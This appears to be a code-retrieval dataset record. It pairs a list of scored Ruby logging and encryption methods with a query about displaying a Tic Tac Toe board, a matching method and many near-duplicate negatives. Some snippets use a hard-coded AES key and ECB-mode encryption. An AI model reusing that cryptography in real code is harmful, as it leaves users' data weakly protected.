"def log_transaction\n repo.log_action(user_name: @user.user_name, context: @context.context, route_url: @context.route_url)\n end",
"def activity_log_decyption_salt\n @activity_log_decyption_salt ||= begin\n kms_login_client = Aws::Kms.new('entity_association', 'general_access')\n r = kms_login_client.decrypt(GeneralSalt.get_user_activity_logging_salt_type)\n r.data[:plaintext]\n end\n end",
"def log()\n @log\n end",
"def encryption_info\n @ms_off_crypto.encryption_info\n end",
"def store_encryption_key_sha\n self.encryption_key_sha = ENCRYPTION_KEY_SHA\n end",
"def log!\n Logger.info \"Using #{compressor_name} for compression.\\n\" \\\n \" Command: '#{@cmd}'\\n\" \\\n \" Ext: '#{@ext}'\"\n end",
"def set_encrypted_extra_data\n return if @extra_data.blank?\n\n kms_login_client = Aws::Kms.new('entity_association', 'general_access')\n r = kms_login_client.decrypt(GeneralSalt.get_user_activity_logging_salt_type)\n return unless r.success?\n\n d_salt = r.data[:plaintext]\n\n r = LocalCipher.new(d_salt).encrypt(@extra_data)\n return unless r.success?\n\n @e_extra_data = r.data[:ciphertext_blob]\n end",
"def log\n @log\n end",
"def log_kv(timestamp: Time.now, **fields)\n @logs << fields.merge(timestamp: timestamp)\n nil\n end",
"def request_log(request); end",
"def result_log\n end",
"def result_log\n end",
"def result_log\n end",
"def log_action msg\n\t\t\t\tputs '=> ' + msg\n\t\t\tend",
"def add_identity_to_log\n RequestLocals.store[:identity] = {\n vendor_api_token_id: @current_vendor_api_token&.id,\n provider_id: current_provider&.id,\n }\n end",
"def log_state\n super\n end",
"def autoflush_log=(_arg0); end",
"def autoflush_log=(_arg0); end",
"def append_info_to_payload(payload)\n super\n request_logging_context_data.each do |key, value|\n payload[key] = BlackSquareLoggingRails.format_value(value)\n end\n\n # Add request parameters to lograge output when the logger is in DEBUG mode\n if BlackSquareLoggingRails.enable_request_parameter_logging\n parameters = request.filtered_parameters.except(*ActionController::LogSubscriber::INTERNAL_PARAMS)\n payload[:request_params] = BlackSquareLoggingRails.format_value(parameters) if parameters.any?\n end\n end",
"def encryption_control_information\n \"Version: 1\"\n end",
"def logger\n params[:secure] ? nil : super\n end",
"def log\n math :log\n end",
"def logging_prefs; end",
"def verbose_logging; end",
"def log_writer; end",
"def log_kv(timestamp: Time.now, **fields)\n # Using Thrift::Log to avoid unnecessary memory allocations\n @logs << ThriftLogBuilder.build(timestamp, fields)\n nil\n end",
"def test_encryption_successful_store\n test_successful_store(true)\n end",
"def log(old, new, op, opts)\n fields = log_course_fields(old, new, op, opts)\n course = \"#{fields[0]}:#{fields[2]}\"\n @logger.info(\"#{op.to_s.capitalize} #{course}\\n\")\n return unless verbose?\n @logger.debug(\"#{old.nil? ? '' : '< '}#{old}\\n\") if old\n @logger.debug(\"#{new.nil? ? '' : '> '}#{new}\\n\") if new\n end",
"def log\n parametros = {}\n parametros['action'] = params['action']\n parametros['controller'] = params['controller']\n parametros['fecha'] = Time.zone.now\n parametros['token'] = false\n puts parametros\n log = Log.create(parametros)\n\n # parametros['usuario'] = revisar_token()\n parametros['token'] = true\n log.update(parametros)\n end",
"def log\n Engine.logger\n end",
"def log_changes(action)\n Rails.logger.tagged \"ApplicationOperatorship #{id}\" do\n case action\n when :save\n if saved_change_to_attribute?(:created_at)\n logger.info \"Created application operatorship between #{entity.log_identifier} and #{application.log_identifier}.\"\n else\n # ApplicationOperatorships should really only be created or destroyed, not updated.\n logger.error \"log_changes called for existing ApplicationOperatorship. This shouldn't happen. Operatorship is between #{entity.log_identifier} and #{application.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed application operatorship between entity (ID #{entity_id}, #{entity&.log_identifier}) and application (ID: #{application_id}, #{application&.log_identifier}).\"\n else\n logger.warn \"Unknown action in log_changes #{action}.\"\n end\n end\n end",
"def licensing_info(message)\n log.info(log_key) { message }\n end",
"def log\n Engines.log\n end",
"def rotate\n @logdev.rotate\n self\n end",
"def sign_and_encrypt_encapsulated(message)\n sign(message)\n encrypt(message)\n end",
"def log (msg, **kwargs) Log.write(msg, :info, kwargs) end",
"def log=(log); end",
"def log_action action_name, api_key\n EM.next_tick do\n $db ||= EM::Mongo::Connection.new.db( Hoccer.config[\"database\"] )\n collection = $db.collection('api_stats')\n doc = {\n :api_key => api_key,\n :action => action_name,\n :timestamp => Time.now\n }\n collection.insert( doc )\n end\n end",
"def log_info(kvs)\n return unless tracing?\n self.current_trace.add_info(kvs)\n end",
"def sql(event)\n payload = crypt_keeper_payload_parse(event.payload[:sql])\n event.payload[:sql] = crypt_keeper_filter_postgres_log(payload)\n super(event)\n end",
"def encrypt\n self\n end",
"def log(msg)\n SystemLog.fact(title: 'live-dynamo-controller', payload: msg)\n end",
"def encrypt_message plaintext\n key_pair.encrypt plaintext\n end",
"def encrypt()\n cipher_type = \"aes-128-ecb\"\n data = password;\n key = master_password;\n \n self.encrypted_password = aes_encrypt(data,key,nil,cipher_type).to_s\n end",
"def time_stamp(event)\n file_local_write(@logfile,\"\\nKeylog Recorder #{event} at #{Time.now.to_s}\\n\\n\")\n end",
"def encrypt\n self\n end",
"def log(msg)\n Serv::Log.info(Time.now.to_s+': '+msg+\"\\n\")\n end",
"def access_logger\n Rails.application.config.another_logger.info(\"#{request.method} '#{request.path}' #{request.version} from: #{request.remote_ip}\")\n end",
"def audit(data)\n stream << data.to_s.chomp + \"\\n\"\n stream.flush\n end",
"def audit(audit_data)\n @log4r.debug(audit_data)\n end",
"def log(text)\n puts text\n end",
"def loggable\n \"%-15s\\t%7d\\t%7.2f\\t%-23s\" % [tube, priority.to_i, delay.to_f, key]\n end",
"def colorize_logging; end",
"def aes_key\n self.encrypted_data_will_change!\n \"dfdsdsfsdfsdfwefsdfds\"\n end",
"def info(msg) log(6, msg); end",
"def logger_output; end",
"def activity_log_create\n write_activity_log(:create)\n end",
"def log\n logger.info \"Apply migration #{version}\\n\"\n end",
"def _encrypt\n cryptor_files(@encrypting)\n end",
"def log_changes(action)\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n case action\n when :save\n if saved_change_to_attribute?(:created_at)\n logger.info \"Created redundant-type assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed redundant-type assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n end\n end",
"def encryption_server; end",
"def perform(log)\n log.write(\"#{@message ** @ctx}\\n\")\n true\n end",
"def method_missing( sym, msg=nil, &block )\n\t\t\t\treturn super unless LEVEL.key?( sym )\n\t\t\t\tsym = :debug if @force_debug\n\t\t\t\tVerse.logger.add( LEVEL[sym], msg, @classname, &block )\n\t\t\tend",
"def logOp(iOperationName)\r\n log_debug \"===== #{iOperationName} ...\"\r\n yield\r\n log_debug \"===== ... #{iOperationName}\"\r\n end",
"def log\n return if @logger.nil?\n\n @logger.debug(\"Counter\") { \"attempt #{self}\" }\n end",
"def put(code)\n Log.put(code)\n puts\nend",
"def Auditlog( mo, msg )\n auditEntry = Audit.new\n auditEntry.message = \"#{mo} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n #auditEntry.origin = ip\n auditEntry.origin = request.remote_ip\n auditEntry.user = !current_user.nil? ? current_user.email : 'no-user'\n auditEntry.datetime = DateTime.now\n\n if !auditEntry.save\n _auditLog.info \"#{user} #{ip} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n end\n\n end",
"def logall(user)\n self.changes.each do |key, value|\n if key != \"updated_at\" then\n name = self.class.name + \" #{key}\"\n \n logthis(user, name, self.id, value[0], value[1])\n end\n end\n end",
"def log(level, message)\n @method = 'PostProvision'\n @debug = true\n $evm.log(level, \"#{@method} - #{message}\") if @debug\nend",
"def logthis(input)\n\t\t@logmutex.lock\n\t\tfile = File.open('./serverlog','a')\n\t\twrite = \"#{Time.now}\\t#{input}\\n\"\n\t\tfile.write(write)\n\t\tputs write\n\t\t@logmutex.unlock\n\tend",
"def record ar, mode\n ad = ar.advised\n msg = nil\n\n case mode\n when :before, :after\n msg = ad.log_prefix(logger, ar).to_s\n msg = msg.dup if msg.frozen?\n ar[:args] ||= format(ar.args, :args) if ad[:log_args] != false\n ar[:meth] ||= \"#{ad.meth_to_s} #{ar.rcvr.class}\"\n msg << \"#{format(ar[:\"time_#{mode}\"], :time)} #{ar[:meth]}\"\n msg << \" #{format(ar.rcvr, :rcvr)}\" if ad[:log_rcvr]\n msg << \" ( #{ar[:args]} )\" if ar[:args]\n end\n\n case mode\n when :before\n msg << \" {\"\n when :after\n msg << \" }\"\n if ar.error\n msg << \" #{format(ar[:error], :error )}\" if ad[:log_error] != false\n else\n msg << \" #{format(ar[:result], :result)}\" if ad[:log_result] != false\n end\n end\n\n msg\n end",
"def encryption_info\n @grpc.encryption_info\n end"
] |
[
"0.63816565",
"0.6235935",
"0.60788786",
"0.59013677",
"0.59013677",
"0.5862607",
"0.5810522",
"0.5810522",
"0.5810522",
"0.5810522",
"0.5810522",
"0.5810522",
"0.5810522",
"0.5810522",
"0.5793524",
"0.5789389",
"0.5760213",
"0.5746721",
"0.5656711",
"0.565483",
"0.55835736",
"0.5583207",
"0.5581433",
"0.5518246",
"0.5518246",
"0.5518246",
"0.5518246",
"0.5502431",
"0.54975736",
"0.5494708",
"0.5490829",
"0.54714304",
"0.54427695",
"0.54385996",
"0.54210615",
"0.54131883",
"0.53864986",
"0.53755045",
"0.53513545",
"0.53513545",
"0.53513545",
"0.5332634",
"0.5326645",
"0.53246593",
"0.5300994",
"0.5300994",
"0.53003895",
"0.5292583",
"0.525993",
"0.52576816",
"0.52505356",
"0.52470595",
"0.5244142",
"0.52397144",
"0.5214712",
"0.5204359",
"0.5201931",
"0.51926494",
"0.51890665",
"0.5174898",
"0.51645494",
"0.51514614",
"0.5148009",
"0.51441526",
"0.5141055",
"0.5135988",
"0.51268446",
"0.51206374",
"0.5112975",
"0.51014626",
"0.51002747",
"0.50995016",
"0.5095436",
"0.5092633",
"0.507221",
"0.50605434",
"0.50543296",
"0.5051468",
"0.50469685",
"0.504297",
"0.5030481",
"0.5013363",
"0.50119615",
"0.50117815",
"0.5005532",
"0.50053215",
"0.5001739",
"0.4999533",
"0.49941036",
"0.49860823",
"0.497886",
"0.49769744",
"0.49744418",
"0.4965282",
"0.49558297",
"0.4954874",
"0.49518502",
"0.49502346",
"0.49447256",
"0.49383888"
] |
0.5431986
|
34
|
Displays the Tic Tac Toe Board given a board state
|
def display_board(board)
first_row = " #{board[0]} | #{board[1]} | #{board[2]} "
second_row = " #{board[3]} | #{board[4]} | #{board[5]} "
third_row = " #{board[6]} | #{board[7]} | #{board[8]} "
row_seperator = "-----------"
board = "#{first_row}\n"\
"#{row_seperator}\n"\
"#{second_row}\n"\
"#{row_seperator}\n"\
"#{third_row}"
puts board
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def display_board\n board =\n \" _______ _______ _______\n | | | |\n A| #{@state[:A1]} | #{@state[:A2]} | #{@state[:A3]} |\n |_______|_______|_______|\n | | | |\n B| #{@state[:B1]} | #{@state[:B2]} | #{@state[:B3]} |\n |_______|_______|_______|\n | | | |\n C| #{@state[:C1]} | #{@state[:C2]} | #{@state[:C3]} |\n |_______|_______|_______|\n 1 2 3\n \"\n puts board\n end",
"def display_board(board_state)\n #row 1\n puts \" #{board_state[0]} | #{board_state[1]} | #{board_state[2]} \"\n puts \"-----------\"\n #row 2\n puts \" #{board_state[3]} | #{board_state[4]} | #{board_state[5]} \"\n puts \"-----------\"\n #row 3\n puts \" #{board_state[6]} | #{board_state[7]} | #{board_state[8]} \"\nend",
"def display_board(gameState)\n puts \" #{gameState[0]} | #{gameState[1]} | #{gameState[2]} \"\n puts \"-----------\"\n puts \" #{gameState[3]} | #{gameState[4]} | #{gameState[5]} \"\n puts \"-----------\"\n puts \" #{gameState[6]} | #{gameState[7]} | #{gameState[8]} \"\nend",
"def display_board\n # phrase=\"Tic Tac Toe board\"\n # puts phrase\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n\nend",
"def display_board(state)\n i = -1\n puts \" #{state[i+=1]} | #{state[i+=1]} | #{state[i+=1]} \"\n puts(\"-----------\")\n puts \" #{state[i+=1]} | #{state[i+=1]} | #{state[i+=1]} \"\n puts(\"-----------\")\n puts \" #{state[i+=1]} | #{state[i+=1]} | #{state[i+=1]} \"\nend",
"def board\n s = $state\n \n puts \"\n 1 2 3\n\n a #{s[0]} | #{s[1]} | #{s[2]}\n ---+---+---\n b #{s[3]} | #{s[4]} | #{s[5]}\n ---+---+---\n c #{s[6]} | #{s[7]} | #{s[8]}\n \"\nend",
"def display_board(moves_array)\n puts \"Welcome to Tic Tac Toe\"\n puts \" #{moves_array[0]} | #{moves_array[1]} | #{moves_array[2]} \"\n puts \"-----------\"\n puts \" #{moves_array[3]} | #{moves_array[4]} | #{moves_array[5]} \"\n puts \"-----------\"\n puts \" #{moves_array[6]} | #{moves_array[7]} | #{moves_array[8]} \"\nend",
"def display_board\n\t\tsystem \"clear\" or system \"cls\"\n\t\tprint \" 1 2 3 4 5 6 7 8 \\n\\n\"\n\t\t(0..7).each do |row|\n\t\t\tprint \"#{(row+97).chr} \"\n\t\t\t(0..7).each do |collumn|\n\t\t\t\tprint \"#{@board[row][collumn]} \" if @board[row][collumn] == \"X\"\n\t\t\t\tprint @board[row][collumn].to_s + \" \" if @board[row][collumn].is_a?(Piece)\n\t\t\tend\n\t\t\tprint \" #{(row+97).chr} \"\n\t\t\tputs\n\n\t\tend\n\t\tprint \"\\n 1 2 3 4 5 6 7 8 \\n\"\n\tend",
"def display_board\n\t\t\tsystem(\"cls\")\n\t\t\tprint \"\\n\"\n\t\t\t 7.downto(0).each_with_index{|x|\n\t\t\t\t print \"#{x+1}| \"\n\t\t\t\t\t8.times{|y|\n\t\t\t\t\tif y%2==0 && x%2 == 0 || y%2==1 && x%2 == 1\n\t\t\t\t\t\tif @board[y][x] != nil && @board[y][x].color == \"white\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].white.bold.on_red, \" \".on_red\n\t\t\t\t\t\telsif @board[y][x] != nil && @board[y][x].color == \"black\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].green.bold.on_red, \" \".on_red\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tprint \" \".on_red\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif @board[y][x] != nil && @board[y][x].color == \"white\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].white.bold, \" \"\n\t\t\t\t\t\telsif @board[y][x] != nil && @board[y][x].color == \"black\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].green.bold, \" \"\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tprint \" \", \" \"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\tprint \"\\n\"\n\t\t\t\t }\n\t\t\t print \"------------------\\n\"\n\t\t\t print \" a b c d e f g h\\n\\n\"\n\tend",
"def display_board(board)\n puts \" \",\"|\",\" \",\"|\",\" \"\n puts \"-----------\"\n puts \" \",\"|\",\" \",\"|\",\" \"\n puts \"-----------\"\n puts \" \",\"|\",\" \",\"|\",\" \"\n board = [\" \",\" \",\" \",\" \",\" X \",\" \",\" \",\" \",\" \"]\n board1 = [\" O \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \"]\n board2 = [\" O \",\" \",\" \",\" \",\" X \",\" \",\" \",\" \",\" \"]\n board3 = [\" X \",\" \",\" \",\" \" X \" \",\" \",\" X \",\" \",\" \"]\n board4 = [\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \"]\n board5 = [\" \",\" \",\" O \",\" \",\" O \",\" \",\" O \",\" \",\" \"]\n board6 = [\" X \",\" X \",\" X \",\" X \",\" X \",\" X \",\" X \",\" X \",\" X \"]\nend",
"def view_board\n\t\t(1..8).to_a.reverse.each do |row|\n\t\t\tstr = \"\"\n\t\t\t('a'..'h').each do |col|\n\t\t\t\tif board[[row,col]] == 2\n\t\t\t\t\tstr << \" . \"\n\t\t\t\telse\n\t\t\t\t\tstr << \" #{board[[row, col]].to_s} \"\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tputs str\n\t\tend\n\tend",
"def game_board_display(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board(boardState)\n row1 = \" #{boardState[0].upcase} | #{boardState[1].upcase} | #{boardState[2].upcase} \"\n rowDivider = \"-----------\"\n row2 = \" #{boardState[3].upcase} | #{boardState[4].upcase} | #{boardState[5].upcase} \"\n row3 = \" #{boardState[6].upcase} | #{boardState[7].upcase} | #{boardState[8].upcase} \"\n\n puts row1\n puts rowDivider\n puts row2\n puts rowDivider\n puts row3\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n end",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"---------------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"---------------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \" ----------- \"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \" ----------- \"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \" ----------- \"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \" ----------- \"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"def display_board()\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board()\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"---+----+----\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"---+----+----\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n end",
"def display_board\n row_idx = -1\n numera = [1,2,3,4,5,6,7,8,9]\n @display = @grid.map do |row|\n \n col_idx = -1\n row_idx += 1 \n row.map do |col| \n col_idx += 1 \n if @flag_pair.include? ((row_idx.to_s) + (col_idx.to_s))\n col = 'F'.orange\n elsif col == :B\n col = 'H'.green\n elsif (@known_empty.include? ((row_idx.to_s) + (col_idx.to_s))) && (numera.include? col)\n col = col.to_s.red\n elsif @known_empty.include? ((row_idx.to_s) + (col_idx.to_s))\n col = 'O'.blue\n else\n col = 'H'.green\n end \n end \n end\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display\n system('clear')\n puts\n # show board with pieces\n print \"\\t\\tA\\tB\\tC\\tD\\tE\\tF\\tG\\tH\\n\\n\"\n print \"\\t +\", \" ----- +\"*8,\"\\n\\n\"\n 8.downto(1) do |rank|\n print \"\\t#{rank} |\\t\"\n 'A'.upto('H') do |file|\n if board[\"#{file}#{rank}\".to_cell] then piece = board[\"#{file}#{rank}\".to_cell]\n else piece = \" \"\n end\n print \"#{piece} |\\t\"\n end\n print \"#{rank}\\n\\n\\t +\", \" ----- +\"*8,\"\\n\\n\"\n end\n print \"\\t\\tA\\tB\\tC\\tD\\tE\\tF\\tG\\tH\"\n puts \"\\n\\n\"\n # show occupancy\n print \" White occupancy: \"\n puts whitePieces.to_cells.map{ |cell| cell.to_square}.join(\", \")\n print \" Black occupancy: \"\n puts blackPieces.to_cells.map{ |cell| cell.to_square}.join(\", \")\n puts\n # show whose move it is\n case @whitesMove\n when true\n puts \" WHITE to move.\"\n when false\n puts \" BLACK to move.\"\n end\n puts\n end",
"def show_board\n puts\n @board.each_with_index do |square, i|\n print \" #{square} \"\n puts \"\\n\\n\" if (i == 2 || i == 5 || i == 8)\n end\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts '---------------'\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts '---------------'\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n\t board =\" | | \\n-----------\\n | | \\n-----------\\n | | \"\n\t puts board\n\tend",
"def display\n puts \"\\n GAME BOARD \"\n puts \" Turn #{turn_count}\"\n puts \"*************\"\n puts \"* #{self.cells[0]} | #{self.cells[1]} | #{self.cells[2]} *\"\n puts \"*-----------*\"\n puts \"* #{self.cells[3]} | #{self.cells[4]} | #{self.cells[5]} *\"\n puts \"*-----------*\"\n puts \"* #{self.cells[6]} | #{self.cells[7]} | #{self.cells[8]} *\"\n puts \"*************\\n\\n\"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def show_board\n puts \" \" + board_spaces[1] + \" | \" + board_spaces[2] + \" | \" + board_spaces[3] + \" \"\n puts \"-----------\"\n puts \" \" + board_spaces[4] + \" | \" + board_spaces[5] + \" | \" + board_spaces[6] + \" \"\n puts \"-----------\"\n puts \" \" + board_spaces[7] + \" | \" + board_spaces[8] + \" | \" + board_spaces[9] + \" \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board(board = [\"X\", \"X\", \"X\", \"X\", \"O\", \"O\", \"X\", \"O\", \"O\"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board\n puts \" \" \"|\" \" \" \"|\" \" \"\n puts \"-----------\"\n puts \" \" \"|\" \" \" \"|\" \" \"\n puts \"-----------\"\n puts \" \" \"|\" \" \" \"|\" \" \"\nend",
"def display_board\r\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\n end",
"def display_board\r\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\n end",
"def display_board (toe)\n puts \" #{toe[0]} | #{toe[1]} | #{toe[2]} \"\n puts \"-----------\"\n puts \" #{toe[3]} | #{toe[4]} | #{toe[5]} \"\n puts \"-----------\"\n puts \" #{toe[6]} | #{toe[7]} | #{toe[8]} \"\nend",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"def display_board\n puts \" | | \"\n puts\"-----------\"\n puts \" | | \"\n puts\"-----------\"\n puts \" | | \"\nend",
"def display_board\n\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"def display_board\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
"def display_board\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
"def display\n\t\tputs \"\\n\"\n\t\t(0..2).each do |row|\n\t\t\t(0..2).each do |col|\n\t\t\t\tprint \" \" + @board[row][col].to_s + \" \"\n\t\t\t\tprint \"|\" unless col == 2\n\t\t\tend\n\t\t\tputs row == 2 ? \"\\n\\n\" : \"\\n-----------\\n\"\n\t\tend\n\tend",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \" \n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def show_board\n # Show empty board at initialization and get variable at each player turn\n puts \" 1 2 3\"\n puts \" a #{@A1.content} | #{@A2.content} | #{@A3.content}\"\n puts \" ---------\"\n puts \" b #{@B1.content} | #{@B2.content} | #{@B3.content}\"\n puts \" ---------\"\n puts \" c #{@C1.content} | #{@C2.content} | #{@C3.content}\"\n\n end",
"def display_board\n puts \" | | \" \n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
"def display_board\n puts\n puts \"Here is the current board:\"\n puts \n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"---+---+---\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"---+---+---\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n puts \n end",
